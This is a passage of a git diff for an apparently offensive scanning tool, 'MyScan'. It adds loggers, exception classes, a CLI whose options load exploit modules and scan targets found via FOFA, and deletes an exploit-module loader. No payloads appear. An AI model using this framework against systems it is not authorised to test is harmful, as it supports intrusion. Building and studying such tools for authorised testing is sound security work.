'01e6eab5e28f37d1daa28e9463aa36c6', + '050aa01fafbc432c5b97893282784e61', + '802e864c70aa6cfd766607a09ef0adf2', + '9e16b585ce621de35d6f09fb83c945f9', + '7fcfd296a66680b4eb62bd97ece3bd03', + '325472601571f31e1bf00674c368d335', + '84dc123a94418b2897cbd147883472d6', + 'da3eee9122f79d393ff6f105809c9d78', + 'aee5467a4a6dbcc6a2cd3b080b08bbb8', + '7ccf3630fd1411ebf613569db4fff783', + 'f2f98f79ea7b2c3713fc1c44e08a6479', + 'b934ae3847e6290f8bfc983cbe2f0c26', + 'e4cd63dfacdfbd8ce5377a19b7325936', + 'a8dcc596e48119b4ebca732f5ff4a561', + '7aaa517d007c879e98c4a0753083b978', + 'dc1aeffe26c99ddc0c8a5b102be16214', + '4dbf8141d340968d7d999e8ccea08d00', + '80d5e4b529aeb4d4516045918e3f7e47', + '575b4e873e6b5172ba35979e7f9cbc28', + 'f349b7cdda74326b8f8adc3c3bab2f7d', + '403889213f03534a0651d7cfd6878b2c', + 'afa129b3ed3028a3caffa545e2bbf6e5', + '235b8d7477b4343f550815b74b15a00c', + 'b151ea708acb80575f6959dd1e91c575', + 'd88db219971bf146c1e0f958f7323b0d', + '21530b0202a60b21f9207155d1d11411', + '6c52dd6d2ea7c2f38bf34f3fe9d64f74', + '702ba61913dbdebfeaa403379b5cfc8a', + '33d3bfd23bab7743aa34c3b740623fdb', + '6537bfe0438d4073b92f3e0a05dd3fb4', + '324b52fafc7b532b45e63f1d0585c05d', + '7ccf3630fd1411ebf613569db4fff783', + 'A6E051B48D3E66EF4712D2699B5D80B1', + 'cec7abfd732f03ab3abb87e3b2fb7de1', + 'fe3760309e0fd93f3b68517603f15776', + '862df2aafc3bae92bc4c61db931706cd', + '729b33e48ffb45bbe2c7112b409c4524', + '2cdb57865c172c9c7ab6201ad0b50893', + '72ff65356a6ccd4b9c43b6f2861b1788', + '21e51cee51c833c76dec691155d0d8a4', + 'c1cea3b23c55e8fd9d66c7885aa1e378', + 'ae78e31871b06d3f6ba329673d4b879c', + 'c6bb2d26d9432d37ac8c2cc5347b12e3', + '69c446d6c848f1360a7546ce2e0789ea', + '94bff0a127e4555ca4ec52be7ef45e25', + 'e3a6eb1eb2024f7f36a45164fba14513', + '9f49bb571729b7b82ed9bcd2b4344e9f', + '2fbb8e5bcdefd563c50f43a0716ef134', + 'f31bb2f1b0a0b21bca18a0ba4943609c', + '4357834e5cd7cfdd3ea93dc93eefda9a', + '8eaf3eb0a904b0507199a644d1026fd7', + 'dff7f7fc1ebf81aff8b7c6b57e274207', + '4d50eee0c43bc7d1ac708c5622d5b481', + 'cf4f836d5c9f49631bdd86a1a9a9cf67', + '3727a83598705aaa40b96fdee42e13cc', + '550054b45c5da9c275d60e1d163819e9', + '183af875e26bb90c63f2b2280ed94228', + 'f6d7a10b8fe70c449a77f424bc626680', + 'd88db0b65a87f40d52959cc41f9b66c1', + '17f8a25eb1757baf3d4b6522a635057c', + 'cd2fde781b6275ed27ce06e646f1ccbd', + '9b80aea9d0d05345d646815e3f9f76d3', + 'c9f020b6e9113221ff87f89d88234b23', + 'b70b0a713b98a0c3f5ec15bcb3eebb81', + 'f762fa9035ad8ca7beb351bfffc7c354', + '9f198fc3a78304e3e618be89c4e912b4', + '74e03e9c5484862890fc61a144ca0bf4', + 'e2230f70fa19f55e898cc8adbd2e2cd7', + '1e5e773092126eadebd896fa7fb1e6e4', + '4686d086a472354238483f65ed13f565', + 'c96ace266169ca39f774f01b1f286644', + '897108b470ccbf2c9f796fe11e30f981', + '0fd86d5f9c1070613e22fb30456bf609', + '729b33e48ffb45bbe2c7112b409c4524', + '824a335f64dbc69f3724784f491ad09f', + '88d536b6f7b2238bf218ed25cf34bb4f', + '74ac6750d8faed75774166c72f88fcbf', + 'c83d69ea9a0656eafcc7ce61ea8389b0', + '71a0b5972fded79257c0b92afd3051bb', + '62029ccf4af64fda36a380c334ee2a3c', + '1d0c675c0c08249f75a6ce7984f96470', + '70ee6179b7e3a5424b5ca22d9ea7d200', + 'daf04071f5c77bb25a3cbe1c856f9c00', + '03bb43983d24f025feef18bf42d71f53', + '1e78c168da8271af6538b00e4baf53d5', + '1513efc63c01b27ec75402e4b0d3b95f', + '1a23ab6128b1a4c56f8d2782e4796232', + 'db113c0f641da45947a371c4b7e1d280', + 'd9502f7f7ee74153fec0e8c196b1e647', + 'df86ce8c3068dafd2d5d2b0e40cde667', + '25495fa955f13fb6d884dccd38115f35', + '806b062dbb2377d05cad134d53d706a1', + '0dbcba4ea06639819cc0924d3a7ed3fd', + 'c48e6cb57ea70b93edc865487336a9c9', + 'db0ebf565d93d8c37f51d61ec4fda7b8', + 'd31024e289ee72d904f7f23ecb651b6c', + 'ab560312b75bd5c9f048c5ba98c19dfd', + '324ed9cd53183f9052c2ff872d418c50', + '6847aab9eafaa3b18c9779ddf34f92e2', + 'ecc6bb79200836fd9c08cb604bbdf28c', + 'b138a3153b813846c14a8c7d8b538aa0', + '61b43a242263d428f86aa4582ee41c26', + 'eda07be3c5fb86a69170676cc7a7567c', + 'db0ebf565d93d8c37f51d61ec4fda7b8', + '943ffab4d425979a3bb0bacaa4d0deb7', + '5675aebf07539d8a0caae1b2ec329c25', + '459ea752c044ec4dc744c4d6fdc78d9e', + '64515c1f99cbeaab109d8365ad48429d', + 'fe8aad7090bece72587c86ec6f7c7d6a', + '7750f62fc14ea34527c09c7694a3d406', + '82c39858f221dbda74ca71d5415f5791', + '4e3c4a90556f8c35d4ab577e985239af', + '369d7212fb62338d3dd23bb8d8c35de3', + 'a480002efb18e6b0d143b78b9bd3ab7b', + '4c1a973b15d26bf1dac2d0c72a63ce90', + '17892ea0dd5e52f86774aaecf7414763', + '1eb47cb1b95dd9426cb2bcda84b6e844', + 'a9d8d517dbe910477a1f2ad5c78228d8', + 'd8fb44266bf9a239e2a0906dfebae160', + '1b24a7a916a0e0901e381a0d6131b28d', + 'a5436b17d0815080d5113ffeb1253379', + '645423e6c549f16a1dc6499ace25a95f', + 'bcb18414fa6fd6be0bd85e5f71915f43', + '6176a96a219c1244ad9bee96bb07772d', + 'fe5b5f6f65603a3180218b6b32097683', + 'f36cb575cce73f64a53b489d3f94c683', + '72e036f42aa51a02524e9e7b8c25acd9', + 'a065fe4dcf529c47e21be6d664d84cc5', + '632173e3898d4c601c82630a36043730', + '77eab484baae891d1124abc7ccd106e3', + 'e4f033350a15445909cb5eed5de5c332', + '4fd26fa6dc51a12cdbb6adc39ef7ce83', + '3319b5e84b1da72c27ec4c926a83b910', + '703742511c08474004c2f3299e92709d', + 'ed81815c304a003fb41aaae7610493b3', + '8bfed48756f192ed7afe6eaa4799aae4', + '362ef88efd959694b37e6ac6b2013cb7', + '0ba58ea6faac8f92c7c38ecbce55444b', + 'c37818f25d5906f5de44bea32ef09878', + '8f7beb9a0409ba53680d99dff27c64fa', + '79d3d57a9400c1849ecd0409b8fa46b1', + '59b35e72b37ffc2886f76873c93fbcd9', + '0493948e1b9fb184b65b31d0d908afd7', + '3d906218998f71e198808b7895c4dc96', + 'a9a0fdda4e22adb443c3fa14b97af0ea', + '3A228C1277D7BDFADA1AD8935A69D5DA', + '9f0e3df5b46b039ed97c68242dff6621', + '625f2078f5cc4bbffb4f1390f982b66b', + '9f174c4c7b72c96589f850e3b5d33361', + '5ca41ea40171e1ea0fc7f200281b6714', + '1929c7004265246bdc2c46b61a39fca4', + '7e2f7a410b54ef80399954293c3e45ca', + 'cc452c1368589d88d26f306c49319340', + 'd23fb928a0b8757786b003fe9c2ec72e', + 'b9281e6bd84987b3bcb5684d89c313cc', + '6ad561345b55814902d014707015cf72', + '55b4396bac94c6eb98fe4a4cf4434c26', + 'ef329ec49d3ae5c1b7175b2ec9470d2c'] + FILTER_CDN_IPSEGMENT_LIST = [ '223.99.255.0/24', '71.152.0.0/17', '219.153.73.0/24', '125.39.46.0/24', '190.93.240.0/20', '14.0.113.0/24', '14.0.47.0/24', '113.20.148.0/22', '103.75.201.0/24', '1.32.239.0/24', '101.79.239.0/24', '52.46.0.0/18', diff --git a/core/data.py b/core/data.py new file mode 100644 index 0000000..da333ac --- /dev/null +++ b/core/data.py @@ -0,0 +1,16 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-14 22:56 + +from core.component.customdict import AttributeDict +from core.component.variablemanager import GlobalVariableManager + +path_dict = AttributeDict() # 初始化相关路径信息 +config_dict = AttributeDict() # 初始化相关配置信息 + +try: + from core.logger import Logger + gLogger = Logger() +except: + print('[-] logger init fail.') + # exit(0) diff --git a/core/database.py b/core/database.py index 91bba59..47dcb78 100644 --- a/core/database.py +++ b/core/database.py @@ -3,6 +3,53 @@ # @blog : https://www.cnblogs.com/zpchcbd/ # @Time : 2021-11-26 18:48 +"""如果之后继续进行数据库整理的话,再把这个写上 created in 2021.11.26 18.54 @zpchcbd""" +import sqlite3 + + class Database: - """如果之后继续进行数据库整理的话,再把这个写上 created in 2021.11.26 18.54 @zpchcbd""" - pass + database_path = '' + + def __init__(self, database_path=None): + self.database_path = self.database_path if database_path is None else database_path + self.connection = None + self.cursor = None + + def connect(self): + try: + self.connection = sqlite3.Connection(self.database_path) + self.cursor = self.connection.cursor() + except sqlite3.DatabaseError: + pass + except sqlite3.Error: + pass + + def disconnect(self): + self.cursor.close() + self.connection.close() + + def commit(self): + self.connection.commit() + + def rollback(self): + self.connection.rollback() + + def execute(self): + pass + + +class TaskDB(Database): + def __init__(self, database_path): + super().__init__(database_path) + + def insert(self): + pass + + def delete(self): + pass + + def update(self): + pass + + def select(self): + pass diff --git a/core/exception/ceye.py b/core/exception/ceye.py new file mode 100644 index 0000000..4eed060 --- /dev/null +++ b/core/exception/ceye.py @@ -0,0 +1,36 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2021-12-06 18:15 + + + +class DnslogError(Exception): + """@todo: dnslog Base class""" + pass + +# +# class DnslogPrivilegeError(DnslogError): +# def __init__(self, message, *args, **kwargs): +# self.message = message +# + +class CeyeError(DnslogError): + """@todo: Ceye Base class""" + pass + + +class CeyePrivilegeError(CeyeError): + """@todo: Ceye subclass, which result in priviledge error""" + def __init__(self, message=None, *args, **kwargs): + self.message = message + + +class EyesError(DnslogError): + """@todo: Eyes Base class""" + + +class EyesPrivilegeError(CeyeError): + """@todo: Eyes subclass, which result in priviledge error""" + def __init__(self, message=None, *args, **kwargs): + self.message = message diff --git a/core/exception/github.py b/core/exception/github.py index 2e257c1..c01df4f 100644 --- a/core/exception/github.py +++ b/core/exception/github.py @@ -4,17 +4,16 @@ # @Time : 2021-11-27 1:06 """ -prepare for github error, write in 2021.11.27 1.06 @zpchcbd +@todo: prepare for github error, write in 2021.11.27 1.06 @zpchcbd """ class GithubSearchError(Exception): - """GithubSearch异常Base类""" + """@todo: GithubSearch Base class""" pass class GithubPrivilegeError(GithubSearchError): - """GithubSearch权限问题导致的异常封装类""" - - def __init__(self, message): + """@todo: GithubSearch subclass, which result in priviledge error""" + def __init__(self, message=None, *args, **kwargs): self.message = message diff --git a/core/exception/net.py b/core/exception/net.py index 702f25f..04a7525 100644 --- a/core/exception/net.py +++ b/core/exception/net.py @@ -5,17 +5,29 @@ class NetGatherError(Exception): - """空间搜索引擎异常Base类""" + """@todo: NetGather Base class""" pass - class NetPrivilegeError(NetGatherError): - """空间搜索引擎特权问题导致的异常封装类""" - def __init__(self, message): - self.message = message + """@todo: NetGather subclass, which result in priviledge error""" + def __init__(self, message=None, *args, **kwargs): + self.message = message class NetPageLimitError(NetGatherError): - """空间搜索引擎页数问题导致的异常封装类""" - def __init__(self, message): + """@todo: NetGather subclass, which result in search page limit""" + + def __init__(self, message=None, *args, **kwargs): + self.message = message + +class NetSyntaxError(NetGatherError): + """@todo: NetGather subclass, which result in search syntax incorrect""" + + def __init__(self, message=None, *args, **kwargs): + self.message = message + +class NetTokenError(NetGatherError): + """@todo: NetGather subclass, which result in unauth search""" + + def __init__(self, message=None, *args, **kwargs): self.message = message diff --git a/core/go.py b/core/go.py new file mode 100644 index 0000000..d80eac6 --- /dev/null +++ b/core/go.py @@ -0,0 +1,34 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2020-11-23 20:45 + +from core.data import gLogger +from core.component.targetmanager import TargetManager +from core.utils.tools import random_md5, create_xlsx +from argparse import ArgumentParser + +import asyncio +import sys + +if sys.platform == 'win32': + asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) + + +def start(parser: ArgumentParser): + loop = asyncio.get_event_loop() + args = parser.parse_args() + task_name = random_md5()[8:-8] + try: + if args.output: + if args.domain: + task_name += '_'+args.domain + gLogger.myscan_info('generate_task_name: %s' % task_name) + create_xlsx(task_name) + target_manager = TargetManager.create_target_manager(task_name, parser) + loop.run_until_complete(target_manager.search()) + loop.run_until_complete(target_manager.scan()) + if args.output: + gLogger.myscan_info("result_save_in_%s.xlsx" % task_name) + except KeyboardInterrupt: + pass diff --git a/core/gui/pyqt-test.py b/core/gui/pyqt-test.py deleted file mode 100644 index 80df4b2..0000000 --- a/core/gui/pyqt-test.py +++ /dev/null @@ -1,6 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-06 20:53 - -if __name__ == '__main__': - pass diff --git a/core/init.py b/core/init.py new file mode 100644 index 0000000..4107030 --- /dev/null +++ b/core/init.py @@ -0,0 +1,60 @@ +# coding=utf-8 + +from core.data import path_dict, GlobalVariableManager, config_dict +from core.setting import LOG_PATH, OUTPUT_PATH, SPIDER_PATH, EXPLOIT_PATH, DICT_PATH, CONFIG_PATH, SPIDER_THIRD_PATH +from argparse import ArgumentParser +from core.utils.tools import read_yaml_to_dict +import os + + +def getVersion(): + return 'Myscan Tool\'s version is 3.0 - HengGe' + + +def parser_init(): + parser = ArgumentParser(prog='MyScan', description='the tool is beneficial to search and attack') + parser.add_argument('-u', '--url', type=str, help='a url. for example: -u hengge.com') + parser.add_argument('-d', '--domain', type=str, help='target domain. for example: -d hengge.com') + parser.add_argument('-c', '--company', type=str, help='target company. for example: -cn 横戈安全有限公司') + parser.add_argument('-i', '--ips', type=str, help='target ip. for example: -i 192.168.1.1-192.168.1.127,192.168.3.1-192.168.3.255 | 192.168.1.0/24,192.168.3.0/24 | 192.168.1.1,192.168.1.2') + parser.add_argument('-p', '--port', type=str, default='top100', help='default scan top100, for example: -p top100') + parser.add_argument('-m', '--module', type=str, help='load exploit module,for example: -m exploit.a.b.c') + parser.add_argument('-s', '--show', action='store_true', help='show exploit module,example: -s') + parser.add_argument('-f', '--find', type=str, help='find module exploit module,for example: -f thinkphp') + parser.add_argument('-uf', '--url_file', type=str, help='scan in target url file, for example: -uf url.txt') + parser.add_argument('-if', '--ip_file', type=str, help='scan port in target ip file, for example: -ipf ip.txt') + parser.add_argument('-fs', '--fofa', type=str, help=r'fofa scan title. for example: -fs "domain=\"hengge.com\""') + parser.add_argument('-ws', '--websearch', action='store_true', help='for example: -ws') + parser.add_argument('-cs', '--webscan', action='store_true', help='for web scan, for example: -cs') + parser.add_argument('-fn', '--webfunc', default='attack', help='for web scan, for example: -fn attack') + parser.add_argument('-ss', '--servicescan', action='store_true', help='for service scan, for example ssh,ftp,mysql,mssql,redis,rsync...') + parser.add_argument('-k', '--ksub', action='store_true', help='for example: -k') + parser.add_argument('-x', '--proxy', type=str, default='http://127.0.0.1:7890', help='default 127.0.0.1:7890, for example: -x http://127.0.0.1:7890') + parser.add_argument('-t', '--threads', type=int, default=500, help='default 500, for example -t 500') + parser.add_argument('-o', '--output', action='store_true', help='default not output, for example: -o') + parser.add_argument('-dg', '--debug', action='store_true', help='print about debug level information') + parser.add_argument('-v', '--version', action='version', version=getVersion(), help='display version') + # return parser.parse_args() + return parser + + +def path_init(): + path_dict.LOG_PATH = os.path.join(path_dict.ROOT_PATH, LOG_PATH) + path_dict.OUTPUT_PATH = os.path.join(path_dict.ROOT_PATH, OUTPUT_PATH) + path_dict.SPIDER_PATH = os.path.join(path_dict.ROOT_PATH, SPIDER_PATH) + path_dict.SPIDER_THIRD_PATH = os.path.join(path_dict.ROOT_PATH, SPIDER_THIRD_PATH) + path_dict.EXPLOIT_PATH = os.path.join(path_dict.ROOT_PATH, EXPLOIT_PATH) + path_dict.DICT_PATH = os.path.join(path_dict.ROOT_PATH, DICT_PATH) + path_dict.CONFIG_PATH = os.path.join(path_dict.ROOT_PATH, CONFIG_PATH) + + +def global_variable_init(): + GlobalVariableManager.init() + GlobalVariableManager.setValue("remain_module_list", []) + + +def config_init(): + yaml_config_dict = read_yaml_to_dict(path_dict.CONFIG_PATH) + for _ in yaml_config_dict: + config_dict[_] = yaml_config_dict[_] + diff --git a/core/log/logger.py b/core/log/logger.py deleted file mode 100644 index cb3338b..0000000 --- a/core/log/logger.py +++ /dev/null @@ -1,62 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Blog : https://www.cnblogs.com/zpchcbd/ -# @Time : 2021-11-22 12:59 - -""" -封装一个日志类,想要实现的是文件和控制台都可以记录相关信息 -write in 2021.11.22 12.59 @zpchcbd -""" -import logging - - -class Logger: - def __init__(self, path, clevel=logging.DEBUG, Flevel=logging.DEBUG): - self.logger = logging.getLogger(path) - self.logger.setLevel(logging.DEBUG) # 设置logger级别 - self.formatter = logging.Formatter('[%(levelname)s]%(asctime)s %(message)s') - - sh = logging.StreamHandler() - sh.setFormatter(self.formatter) - sh.setLevel(clevel) # 设置处理器的Level - - fh = logging.FileHandler(path) - fh.setFormatter(self.formatter) - fh.setLevel(Flevel) # 设置处理器的Level - - self.logger.addHandler(sh) - self.logger.addHandler(fh) - - def getLogger(self): - return self.logger - - def debug(self, message): - self.logger.debug(message) - - def info(self, message): - self.logger.info(message) - - def warn(self, message): - self.logger.warning(message) - - def error(self, message): - self.logger.error(message) - - def critical(self, message): - self.logger.critical(message) - - -if __name__ == '__main__': - mLogger = Logger('./logs.txt', logging.DEBUG, logging.DEBUG) - # mLogger.debug('HengGe test...., , debug') - # mLogger.info('HengGe test...., , info') - # mLogger.warn('HengGe test...., warning') - # mLogger.error('HengGe test...., error') - # mLogger.cri('HengGe test...., , critical') - asnList = [{'service': 'http', 'ip': ['47.110.217.169:8080', '47.113.23.213:8080', '58.251.27.73:8080', '113.98.59.166:8080', '63.221.140.244:8080', '47.254.137.137:8080', '58.251.27.73:9000']}, {'service': 'bgp', 'ip': ['58.60.230.102:179']}, {'service': 'https-alt', 'ip': ['47.110.217.169:8443', '47.96.196.50:8443']}, {'service': 'osiris', 'ip': ['103.27.119.242:541']}, {'service': 'cisco-sccp', 'ip': ['58.60.230.103:2000']}, {'service': 'redis', 'ip': ['127.0.0.1:6377']}, {'service': 'smtp', 'ip': ['202.103.147.169:25', '202.103.147.161:25', '63.217.80.70:25', '202.103.147.172:25']}, {'service': 'ssl/http', 'ip': ['47.52.122.123:8443']}, {'service': 'http-proxy', 'ip': ['222.134.66.173:8080', '222.134.66.177:8080']}] - ip = [{'ipSegment': '183.232.187.0/24', 'ip': ['183.232.187.210', '183.232.187.201', '183.232.187.197'], 'num': 3}, {'ipSegment': '218.2.178.0/24', 'ip': ['218.2.178.29', '218.2.178.22', '218.2.178.23', '218.2.178.21', '218.2.178.15', '218.2.178.14', '218.2.178.27', '218.2.178.32'], 'num': 8}] - mLogger.info('111111') - mLogger.info('111111') - mLogger.info('111111') - mLogger.info('222222') - mLogger.info('222222') \ No newline at end of file diff --git a/core/logger.py b/core/logger.py new file mode 100644 index 0000000..9d721df --- /dev/null +++ b/core/logger.py @@ -0,0 +1,236 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2021-11-22 12:59 + +""" +封装一个日志类,想要实现的是文件和控制台都可以记录相关信息 +write in 2021.11.22 12.59 @zpchcbd +""" + +from core.setting import LOG_PATH +import logging +import os +import sys + + +class ColorizingStreamHandler(logging.StreamHandler): + + color_map = { + 'black': 0, + 'red': 1, + 'green': 2, + 'yellow': 3, + 'blue': 4, + 'magenta': 5, + 'cyan': 6, + 'white': 7, + } + + level_map = { + logging.DEBUG: (None, 'blue', False), + logging.INFO: (None, None, False), + logging.WARNING: (None, 'yellow', False), + logging.ERROR: (None, 'red', False), + logging.CRITICAL: ('red', 'white', True), + } + csi = '\x1b[' + reset = '\x1b[0m' + + # def __init__(self, level_map=None, *args, **kwargs): + # if level_map is not None: + # self.level_map = level_map + # logging.StreamHandler.__init__(self, *args, **kwargs) + + @property + def is_tty(self): + isatty = getattr(self.stream, 'isatty', None) + return isatty and isatty() + + def emit(self, record): + try: + message = self.format(record) + stream = self.stream + if not self.is_tty: + stream.write(message) + else: + self.output_colorized(message) + stream.write(getattr(self, 'terminator', '\n')) + self.flush() + except (KeyboardInterrupt, SystemExit): + raise + except: + self.handleError(record) + + if os.name != 'nt': + def output_colorized(self, message): + self.stream.write(message) + else: + import re + ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') + + nt_color_map = { + 0: 0x00, # black + 1: 0x04, # red + 2: 0x02, # green + 3: 0x06, # yellow + 4: 0x01, # blue + 5: 0x05, # magenta + 6: 0x03, # cyan + 7: 0x07, # white + } + + def output_colorized(self, message): + import ctypes + ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.c_ulong, ctypes.c_ushort] + parts = self.ansi_esc.split(message) + write = self.stream.write + h = None + fd = getattr(self.stream, 'fileno', None) + if fd is not None: + fd = fd() + if fd in (1, 2): # stdout or stderr + h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) + while parts: + text = parts.pop(0) + if text: + write(text) + self.stream.flush() # For win 10 + if parts: + params = parts.pop(0) + if h is not None: + params = [int(p) for p in params.split(';')] + color = 0 + for p in params: + if 40 <= p <= 47: + color |= self.nt_color_map[p - 40] << 4 + elif 30 <= p <= 37: + color |= self.nt_color_map[p - 30] + elif p == 1: + color |= 0x08 # foreground intensity on + elif p == 0: # reset to default color + color = 0x07 + else: + pass # error condition ignored + + ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) + + def colorize(self, message, record): + if record.levelno in self.level_map: + bg, fg, bold = self.level_map[record.levelno] + params = [] + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + if bold: + params.append('1') + if params: + message = ''.join((self.csi, ';'.join(params), + 'm', message, self.reset)) + return message + + def format(self, record): + message = logging.StreamHandler.format(self, record) + if self.is_tty: + # Don't colorize any traceback + parts = message.split('\n', 1) + parts[0] = self.colorize(parts[0], record) + message = '\n'.join(parts) + return message + + +class CUSTOM_LOGGER_LEVEL: + MYSCAN_DEBUG = 50 + MYSCAN_INFO = 60 + MYSCAN_ERROR = 80 + MYSCAN_WARN = 70 + + +class Logger: + def __init__(self, + path=os.getcwd() + os.path.sep + LOG_PATH, + use_console=True, + string_fmt="[%(asctime)s] [%(levelname)s] %(message)s", + time_fmt="%Y-%m-%d %H:%M:%S"): + + logging.addLevelName(CUSTOM_LOGGER_LEVEL.MYSCAN_INFO, "+") + logging.addLevelName(CUSTOM_LOGGER_LEVEL.MYSCAN_ERROR, "-") + logging.addLevelName(CUSTOM_LOGGER_LEVEL.MYSCAN_WARN, "!") + logging.addLevelName(CUSTOM_LOGGER_LEVEL.MYSCAN_DEBUG, "debug") + + # logger记录地址 + self.logger = logging.getLogger(path) + + # 设置logger阀值,日志等级小于level会被忽略 + self.logger.setLevel(CUSTOM_LOGGER_LEVEL.MYSCAN_INFO) + + # 设置日志记录格式 + self.formatter = logging.Formatter(string_fmt, time_fmt) + + # 文件日志输出记录 + file_handler = logging.FileHandler(path) + file_handler.setFormatter(self.formatter) + self.logger.addHandler(file_handler) + + # 控制台日志输出记录 + if use_console: + try: + console_handler = ColorizingStreamHandler(sys.stdout) + console_handler.level_map[logging.getLevelName("+")] = (None, "green", False) + console_handler.level_map[logging.getLevelName("-")] = (None, "red", False) + console_handler.level_map[logging.getLevelName("!")] = (None, "yellow", False) + console_handler.level_map[logging.getLevelName("DEBUG")] = (None, "cyan", False) + self.console_handler = console_handler + except Exception: + self.console_handler = logging.StreamHandler(sys.stdout) + else: + self.console_handler = logging.StreamHandler(sys.stdout) + + self.console_handler.setFormatter(self.formatter) + self.logger.addHandler(self.console_handler) + + def set_level(self, level): + self.logger.setLevel(level) + + def getLogger(self): + return self.logger + + def debug(self, message): + self.logger.debug(message) + + def info(self, message): + self.logger.info(message) + + def warn(self, message): + self.logger.warning(message) + + def error(self, message): + self.logger.error(message) + + def critical(self, message): + self.logger.critical(message) + + def myscan_debug(self, message, *args, **kwargs): + self.logger.log(CUSTOM_LOGGER_LEVEL.MYSCAN_DEBUG, message, *args, **kwargs) + + def myscan_info(self, message, *args, **kwargs): + self.logger.log(CUSTOM_LOGGER_LEVEL.MYSCAN_INFO, message, *args, **kwargs) + + def myscan_warn(self, message, *args, **kwargs): + self.logger.log(CUSTOM_LOGGER_LEVEL.MYSCAN_WARN, message, *args, **kwargs) + + def myscan_error(self, message, *args, **kwargs): + self.logger.log(CUSTOM_LOGGER_LEVEL.MYSCAN_ERROR, message, *args, **kwargs) + + def __str__(self): + return 'this is my custom logger' + + +if __name__ == '__main__': + mLogger = Logger(path='./logs.txt') + mLogger.set_level(CUSTOM_LOGGER_LEVEL.MYSCAN_DEBUG) + mLogger.myscan_debug('HengGe test...., debug') + mLogger.myscan_info('HengGe test...., info') + mLogger.myscan_warn('HengGe test...., warning') + mLogger.myscan_error('HengGe test...., error') diff --git a/core/module/moduleloader.py b/core/module/moduleloader.py deleted file mode 100644 index 8d39b48..0000000 --- a/core/module/moduleloader.py +++ /dev/null @@ -1,167 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-07 16:47 - -import importlib -import os -import re -from core.constant import ModulePath -from core.variablemanager import GlobalVariableManager - - -# import sys -abs_path = os.getcwd() + os.path.sep # 路径 - - -# 模块加载类,用于加载poc用的,相当于一个模块Manager,写这个是用到后面出现新POC检测配合fofa来进行使用,这样会比较方便处理 -# exp loader, study for python -class ModuleLoader(object): - def __init__(self, moduleType): - self.moduleList = [] - - def moduleLoad(self, moduleType, moduleObject=None): - try: - if moduleObject is None: - return self._defaultModuleLoad(moduleType=moduleType) # moduleType: third | exploit - elif isinstance(moduleObject, str): - return self._singleModuleLoad( - module=moduleObject) # single module load, for example exploit.web.v2Conference.sql_inject - elif isinstance(moduleObject, list): - return self._multiModuleLoad( - moduleList=moduleObject) # multi module load, for example exploit.web.v2Conference.sql_inject, - except ModuleNotFoundError as e: - print('module not found, {}'.format(e.__str__())) - return None - - # 后面的用于单个payload检测,要不然每次都需要写个py文件来跑,太麻烦 - # for single 单个测试 - def _singleModuleLoad(self, module: str): - try: - modulePY = importlib.import_module(module) - if hasattr(modulePY, 'Script'): - aModule = getattr(modulePY, 'Script') - self.moduleList.append(aModule) - except Exception as e: - print('import module {} error, {}'.format(module, e.__str__())) - return self.moduleList - - # for twp/three poc exp 加载>2 - def _multiModuleLoad(self, moduleList: list): - for module in moduleList: - try: - modulePY = importlib.import_module(module) - if hasattr(modulePY, 'Script'): - aModule = getattr(modulePY, 'Script') - self.moduleList.append(aModule) - except Exception as e: - print('import module {} error, {}'.format(module, e.__str__())) - return self.moduleList - - # default, all module 加载所有的 - def _defaultModuleLoad(self, moduleType): - # default - # 因为分目录了,所以这里想要动态加载模块只能是os.walk() - # sys.path.append(self.modulePath) - - # version: 2 - if moduleType == 'exploit': - for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.EXPLOIT, followlinks=True): - dirFileLength = 0 - sameTypeModuleList = [] - for filename in filenameList: - if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': - continue - try: - filePath = os.path.join(parent, filename) - modulePY = importlib.import_module('.'.join(re.split('[\\\\/]', filePath[len(abs_path):-3]))) - if hasattr(modulePY, 'Script'): - # 一般一个同类型的模块只加载一次,那么如果目录文件>=1的话,那么则该目录为同类型多模块 - if dirFileLength >= 1: - aModule = getattr(modulePY, 'Script') - sameTypeModuleList.append(aModule) - # 不是同类型多模块的处理 - else: - aModule = getattr(modulePY, 'Script') - self.moduleList.append(aModule) - dirFileLength += 1 - except Exception as e: - print('import module {} error, {}'.format(filename, e.__str__())) - if sameTypeModuleList: - # 如果是同类型多模块的话,那么就存储到全局变量表中,key为当前模块名,值为相关域名的信息和最后要加载的模块对象 - dirName = re.split('[\\\\/]', parent)[-1] - """ - 格式为 - [ - {"seeyon": {"domain": [], "module": [module1(), module2(), module3()]}}, - {"seeyon": {"domain": [], "module": [module1(), module2(), module3()]}}, - ] - """ - currentModuleList = GlobalVariableManager.getValue("remainModuleList") - currentModuleList.append({'name': dirName, 'domain': [], 'module': sameTypeModuleList}) - elif moduleType == 'third': - for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.THIRDLIB, followlinks=True): - for filename in filenameList: - if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': - continue - try: - filePath = os.path.join(parent, filename) - modulePY = importlib.import_module( - '.'.join(re.split('[\\\\/]', filePath[len(abs_path):-3]))) - # module = importlib.import_module('FineReport') - if hasattr(modulePY, 'do'): - aModule = getattr(modulePY, 'do') - self.moduleList.append(aModule) - except Exception as e: - print('import module {} error, {}'.format(filename, e.__str__())) - - - # version: 1 - # if moduleType == 'third': - # for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.THIRDLIB, followlinks=True): - # for filename in filenameList: - # if filename[-3:] == 'pyc' or filename[:2] == 